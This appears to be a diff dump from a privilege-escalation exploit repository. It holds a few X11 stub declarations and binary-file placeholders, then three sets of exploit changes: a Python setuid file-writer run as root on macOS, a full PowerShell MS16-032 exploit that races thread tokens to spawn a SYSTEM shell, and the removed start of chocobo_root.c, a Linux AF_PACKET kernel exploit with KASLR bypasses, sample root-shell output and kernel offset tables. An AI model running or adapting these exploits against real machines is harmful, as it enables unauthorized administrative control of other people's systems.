int XtSetSensitive = 0;
int XtSetSubvalues = 0;
int XtSetTypeConverter = 0;
int XtSetValues = 0;
int XtShellStrings = 0;
int XtStrings = 0;
int XtTranslateCoords = 0;
int XtTranslateKey = 0;
int XtUngrabButton = 0;
int XtUngrabKey = 0;
int XtUngrabKeyboard = 0;
int XtUngrabPointer = 0;
int XtUnmanageChild = 0;
int XtUnmanageChildren = 0;
int XtVaCreateManagedWidget = 0;
int XtVaCreateWidget = 0;
int XtVaGetValues = 0;
int XtVaSetValues = 0;
int XtWarning = 0;
int XtWarningMsg = 0;
int XtWidgetToApplicationContext = 0;
int XtWindowOfObject = 0;
int XtWindowToWidget = 0;
int XUngrabKeyboard = 0;
int XUngrabPointer = 0;
int XUngrabServer = 0;
int XUnionRectWithRegion = 0;
int XUnionRegion = 0;
int XUnmapWindow = 0;
int XUnsetICFocus = 0;
int Xutf8DrawImageString = 0;
int Xutf8DrawString = 0;
int Xutf8TextEscapement = 0;
int Xutf8TextExtents = 0;
int Xutf8TextListToTextProperty = 0;
int XVaCreateNestedList = 0;
int XWarpPointer = 0;
int XwcDrawImageString = 0;
int XwcDrawString = 0;
int XwcTextEscapement = 0;
int XwcTextExtents = 0;
int XWidthOfScreen = 0;
int XWindowEvent = 0;
int XWithdrawWindow = 0;
int overrideShellWidgetClass = 0;
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
+3 -3
View File
@@ -27,7 +27,7 @@ def use_old_api():
args = sys.argv
if len(args) != 3:
print("usage: exploit.py source_binary dest_binary_as_root")
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print("will write file", dest_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
@@ -68,6 +68,6 @@ else:
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print("Done!")
print "Done!"
del pool
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+327 -364
View File
@@ -1,371 +1,334 @@
#function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
# All rights reserved
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -ErrorAction SilentlyContinue -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($hThread)
if ($CallResult -ne 0) {
echo "[!] $hThread is a bad thread, exiting.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
# Null $SysTokenHandle
$script:SysTokenHandle = [IntPtr]::Zero
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($hThread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
echo "[>] Duplicating CreateProcessWithLogonW handle"
$hThread = Get-ThreadHandle
# If no thread handle is captured, the box is patched
if ($hThread -eq 0) {
echo "[!] No valid thread handle was captured, exiting!`n"
Return
} else {
echo "[?] Done, using thread handle: $hThread"
} echo "`n[*] Sniffing out privileged impersonation token.."
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, exit
if ($SysTokenHandle -eq 0) {
Return
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($hThread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
}
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
echo "$end"
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$path1 = $env:windir
$path1 = "$path1\System32\cmd.exe"
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $path1, "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
#}
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop Get-ThreadHandle and collect thread handles with a valid TID
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
exit
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-983
View File
@@ -1,983 +0,0 @@
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP bypasses. No SMAP bypass.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread -Wall
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!
stage 1 completed
registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won
retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!
stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee
11/2016
by rebel
---
Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
int kernel = -1;
// New sysctl path
const char *SYSCTL_NAME = "hack";
const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
// kernel target struct
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
unsigned long modprobe_path;
unsigned long register_sysctl_table;
unsigned long set_memory_rw;
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
